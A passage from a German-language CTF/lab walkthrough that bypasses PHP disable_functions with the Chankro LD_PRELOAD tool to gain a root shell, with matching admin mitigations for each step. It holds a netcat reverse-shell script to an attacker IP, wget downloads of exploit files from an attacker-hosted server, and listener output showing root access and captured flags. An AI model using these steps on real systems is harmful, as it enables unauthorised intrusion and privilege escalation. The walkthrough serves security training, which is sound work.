**Empfehlung (Pentester):** Prüfen, ob `putenv` und `mail` in der PHP-Konfiguration des Ziels aktiviert sind (z.B. über `phpinfo()` oder durch Ausprobieren). Wenn ja, Chankro (oder eine ähnliche LD_PRELOAD-Technik) verwenden, um eine Shell zu erhalten oder Befehle auszuführen. Man benötigt eine präparierte `.so`-Datei und ein PHP-Skript, das `putenv("LD_PRELOAD=...")` und `mail(...)` aufruft.
**Empfehlung (Admin):** `putenv` in der `disable_functions`-Liste in `php.ini` aufnehmen, um diesen Angriffsvektor zu blockieren. Die Funktion `mail()` sicher konfigurieren oder deaktivieren, wenn sie nicht benötigt wird.
https://github.com/TarlogicSecurity/Chankro
info:
Chankro
Your favourite tool to bypass disable_functions and open_basedir in your pentests.
How it works
PHP in Linux calls a binary (sendmail) when the mail() function is executed.
If we have putenv() allowed, we can set the environment variable "LD_PRELOAD",
so we can preload an arbitrary shared object. Our shared object will execute
our custom payload (a binary or a bash script) without the PHP restrictions,
so we can have a reverse shell, for example.
Chankro
Ihr Lieblingstool zur Umgehung von „disable_functions“ und „open_basedir“ in Ihren Pentests.
Wie es funktioniert PHP unter Linux ruft eine Binärdatei (sendmail) auf, wenn die Funktion
mail() ausgeführt wird. Wenn wir putenv() erlaubt haben, können wir die Umgebungsvariable
„LD_PRELOAD“ setzen, sodass wir ein beliebiges gemeinsames Objekt vorab laden können. Unser
gemeinsam genutztes Objekt führt unsere benutzerdefinierte Nutzlast (eine Binärdatei oder
ein Bash-Skript) ohne die PHP-Einschränkungen aus, sodass wir beispielsweise eine Reverse-Shell
haben können.
**Analyse:** Vorbereitung des Chankro-Exploits. 1. Auf dem Zielsystem wird `shell2.php` ausführbar gemacht (obwohl es eine PHP-Datei ist, schadet es nicht). Eine Datei `rshell.sh` wird erstellt, die den Befehl für eine Netcat-Reverse-Shell zum Angreifer auf Port 1337 enthält. Dies ist der Payload, den die präparierte `.so`-Datei ausführen soll. 2. Auf dem Angreifer-PC wird ein HTTP-Server (Port 8885) gestartet, der die Chankro-Dateien bereitstellt (`chankro.py`, `hook32.so`, `hook64.so`, `hook.c`, `README.md`, `LICENSE`). 3. Auf dem Zielsystem werden alle benötigten Chankro-Dateien mit `wget` vom Angreifer-Server nach `/dev/shm` heruntergeladen. 4. Alle heruntergeladenen Dateien in `/dev/shm` werden mit `chmod +x *` ausführbar gemacht.
**Bewertung:** Alle notwendigen Komponenten für den Chankro-Exploit (das Python-Skript zum Generieren des PHP-Payloads, die vorkompilierten `.so`-Dateien für 32/64 Bit, der C-Quellcode des Hooks und das auszuführende Shell-Skript) sind nun auf dem Zielsystem im beschreibbaren Verzeichnis `/dev/shm` vorhanden.
**Empfehlung (Pentester):** Das `chankro.py`-Skript verwenden, um den finalen PHP-Exploit-Code zu generieren, der die `hook64.so` (da es ein 64-Bit-System ist) lädt und das `rshell.sh`-Skript ausführt. Den generierten PHP-Code dann über eine vorhandene Schwachstelle (z.B. die Webshell `ben.php` oder die LFI/Command Injection in `intranet2/index.php`, falls darüber PHP-Code ausgeführt werden kann) ausführen. Einen Listener auf Port 1337 starten.
**Empfehlung (Admin):** Verhinderung des Downloads und der Ausführung von Exploit-Tools. Behebung der initialen Schwachstellen (LFI/Command Injection). `putenv` deaktivieren.
#!/bin/bash nc -e /bin/bash 192.168.2.199 1337
Serving HTTP on 0.0.0.0 port 8885 (http://0.0.0.0:8885/) ... 192.168.2.106 - - [29/Aug/2024 13:50:34] "GET /chankro.py HTTP/1.1" 200 - [...]
[...] ‘chankro.py’ saved [2436/2436]
[...] ‘hook32.so’ saved [7292/7292]
[...] ‘hook64.so’ saved [8504/8504]
[...] ‘hook.c’ saved [444/444]
[...] ‘README.md’ saved [904/904]
[...] ‘LICENSE’ saved [35141/35141]
**Analyse:** Das Chankro-Python-Skript wird auf dem Zielsystem ausgeführt, um den PHP-Exploit-Code zu generieren. * `python2 chankro.py`: Führt das Skript aus (Hinweis: Es wird als Python 2 ausgeführt). * `--arch 64`: Gibt die Zielarchitektur (64-Bit) an, damit `hook64.so` verwendet wird. * `--input rshell.sh`: Gibt das Skript an, das ausgeführt werden soll, wenn der Hook geladen wird. * `--output rsh.php`: Der Name der zu generierenden PHP-Datei. * `--path .`: Gibt an, wo sich die `.so`-Datei befindet (im aktuellen Verzeichnis `/dev/shm`).
**Bewertung:** Chankro generiert erfolgreich die PHP-Datei `rsh.php`. Diese Datei enthält den Code, der `putenv("LD_PRELOAD=./hook64.so")` setzt und dann `mail()` aufruft, um den Hook zu triggern, welcher wiederum `/dev/shm/rshell.sh` ausführt.
**Empfehlung (Pentester):** Die generierte `rsh.php` ausführen. Da der Chisel-Tunnel zu `localhost:8888` aufgebaut wurde, kann `curl localhost:8888/rsh.php` (aus der `www-data`-Shell auf dem Zielsystem) verwendet werden, um die Datei über den lokalen Webserver (falls einer auf Port 8888 läuft und PHP ausführt) oder einen anderen Mechanismus (wie die vorhandene Webshell `ben.php` oder die LFI/Command Injection) auszuführen. Sicherstellen, dass der `nc`-Listener auf Port 1337 läuft.
**Empfehlung (Admin):** `putenv` deaktivieren. Überwachen verdächtiger Dateioperationen in `/dev/shm`.
-=[ Chankro ]=-
-={ @TheXC3LL }=-
[+] Binary file: rshell.sh
[+] Architecture: x64
[+] Final PHP: rsh.php
[+] File created!
total 8832
drwxrwxrwt 2 root root 240 Aug 29 13:52 .
drwxr-xr-x 17 root root 3180 Aug 29 11:56 ..
-rwxrwxrwx 1 www-data www-data 35141 Aug 29 13:47 LICENSE
-rwxrwxrwx 1 www-data www-data 904 Aug 29 13:47 README.md
-rwxrwxrwx 1 www-data www-data 2436 Aug 29 13:47 chankro.py
-rwxrwxrwx 1 www-data www-data 8945816 Aug 25 00:43 chisel
-rwxrwxrwx 1 www-data www-data 444 Aug 29 13:47 hook.c
-rwxrwxrwx 1 www-data www-data 7292 Aug 29 13:47 hook32.so
-rwxrwxrwx 1 www-data www-data 8504 Aug 29 13:47 hook64.so
-rwxrwxrwx 1 www-data www-data 11658 Aug 29 13:53 rsh.php
-rwxrwxrwx 1 www-data www-data 47 Aug 29 13:46 rshell.sh
-rwxrwxrwx 1 www-data www-data 5495 Jun 4 00:08 shell2.php
**Analyse:** Der Chankro-Payload wird ausgelöst, indem versucht wird, die generierte `rsh.php` über den lokalen Port 8888 mit `curl` abzurufen. Parallel läuft der Netcat-Listener auf dem Angreifer-PC auf Port 1337.
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Der `curl`-Befehl führt die `rsh.php` aus (vermutlich über den Chisel-Tunnel zu einem lokalen PHP-fähigen Server oder einem anderen Mechanismus). Dies triggert den LD_PRELOAD-Hook, der `/dev/shm/rshell.sh` ausführt. Das `rshell.sh`-Skript stellt die Netcat-Verbindung zum Listener auf Port 1337 her. Der entscheidende Punkt: Die Ausführung via `LD_PRELOAD` umgeht die PHP-Beschränkungen und der `nc -e /bin/bash`-Befehl wird erfolgreich ausgeführt, **und zwar mit den Rechten des `sendmail`-Prozesses, der hier anscheinend als `root` läuft!** Der `id`-Befehl im Listener bestätigt `uid=0(root)`. Die Privilegienerweiterung war erfolgreich.
**Empfehlung (Pentester):** Die Root-Shell stabilisieren. Die User- und Root-Flags auslesen (`/home/tom/user.txt`, `/root/root.txt`). Das System ist vollständig kompromittiert.
**Empfehlung (Admin):** Sofortmaßnahmen:
1. `putenv` in `disable_functions` aufnehmen.
2. LFI/Command Injection in `intranet2/index.php` beheben.
3. Den Webserver (`www-data`) nicht mit unnötigen Schreibrechten ausstatten.
4. Sicherstellen, dass `sendmail` (oder der von `mail()` verwendete MTA) nicht als `root` läuft, wenn nicht absolut notwendig.
5. System auf Spuren der Kompromittierung untersuchen.
[...]
listening on [any] 1337 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 35890 id uid=0(root) gid=0(root) groups=0(root) cd /root ls root.txt cat root.txt 1de1a028252e2e37fa86d3336a160adf cd /home ls tom cd tom ls user.txt cat user.txt 806f06c84d90fbd5c0e08b2b3f108ec7